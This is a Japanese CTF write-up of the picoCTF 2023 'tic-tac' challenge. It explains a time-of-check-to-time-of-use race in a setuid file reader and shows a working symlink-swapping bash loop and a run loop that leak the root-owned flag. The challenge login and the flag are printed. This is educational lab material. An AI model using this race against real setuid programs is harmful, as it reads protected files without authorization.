0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

picoCTF 2023 writeup tic-tac

Last updated at Posted at 2025-06-05

tic-tac (Binary Exploitation)

Someone created a program to read text files; we think the program reads files with root privileges but apparently it only accepts to read files that are owned by the user running it. ssh to saturn.picoctf.net:60006, and run the binary named "txtreader" once connected. Login as ctf-player with the password, d137d16e

とりあえず、ssh接続してみる。

$ ssh -p 60006 ctf-player@saturn.picoctf.net
ctf-player@pico-chall$ ls -al
total 32
drwxr-xr-x 1 ctf-player ctf-player    20 Jun  5 17:04 .
drwxr-xr-x 1 root       root          24 Aug  4  2023 ..
drwx------ 2 ctf-player ctf-player    34 Jun  5 17:04 .cache
-rw-r--r-- 1 root       root          67 Aug  4  2023 .profile
-rw------- 1 root       root          32 Aug  4  2023 flag.txt
-rw-r--r-- 1 ctf-player ctf-player   912 Mar 16  2023 src.cpp
-rwsr-xr-x 1 root       root       19016 Aug  4  2023 txtreader

ファイルを読み取るプログラムはsrc.cpp、実行ファイルはtxtreaderである。
src.cppは以下の通り。

cpp src.cpp
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>
int main(int argc, char *argv[]) {
  if (argc != 2) {
    std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
    return 1;
  std::string filename = argv[1];
  std::ifstream file(filename);
  struct stat statbuf;
  // Check the file's status information.
  if (stat(filename.c_str(), &statbuf) == -1) {
    std::cerr << "Error: Could not retrieve file information" << std::endl;
    return 1;
  // Check the file's owner.
  if (statbuf.st_uid != getuid()) {
    std::cerr << "Error: you don't own this file" << std::endl;
    return 1;
  // Read the contents of the file.
  if (file.is_open()) {
    std::string line;
    while (getline(file, line)) {
      std::cout << line << std::endl;
    }
  } else {
    std::cerr << "Error: Could not open file" << std::endl;
    return 1;
  return 0;

ファイルの所有者と実行者が同一であることが求められるので、statbuf.st_uid != getuid()に注目する。同一かどうかを確認するのにstat()を利用しているため、確認とファイル読み取りの間で、ファイルを入れ替えることができる(Time-of-Check to Time-of-Use)。ファイルの入れ替えは、symlink attackで実現できる。
確認とファイル読み取りの間でflag.txtへのsymbolic linkを作成する必要があるため、ダミーへのsymlinkとflag.txtへのsymlinkを入れ替え続け、確率的に上手くいくタイミングを狙う(race condition)。
symlink入れ替えスクリプトは、以下の通り。

sh replace.sh
#!/bin/bash
while true;
do
    ln -sf src.cpp symlink.txt
    ln -sf flag.txt symlink.txt
done

これに実行権限を付与して、バックグラウンドで実行しながら、txtreaderを実行する。

$ chmod +x replace.sh
$ ./replace.sh &
[1] 39
$ while ! ./txtreader symlink.txt | grep pico ; do :; done
Error: you don't own this file
picoCTF{ToctoU_!s_3a5y_f482a247}

フラグが得られた。

picoCTF{ToctoU_!s_3a5y_f482a247}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?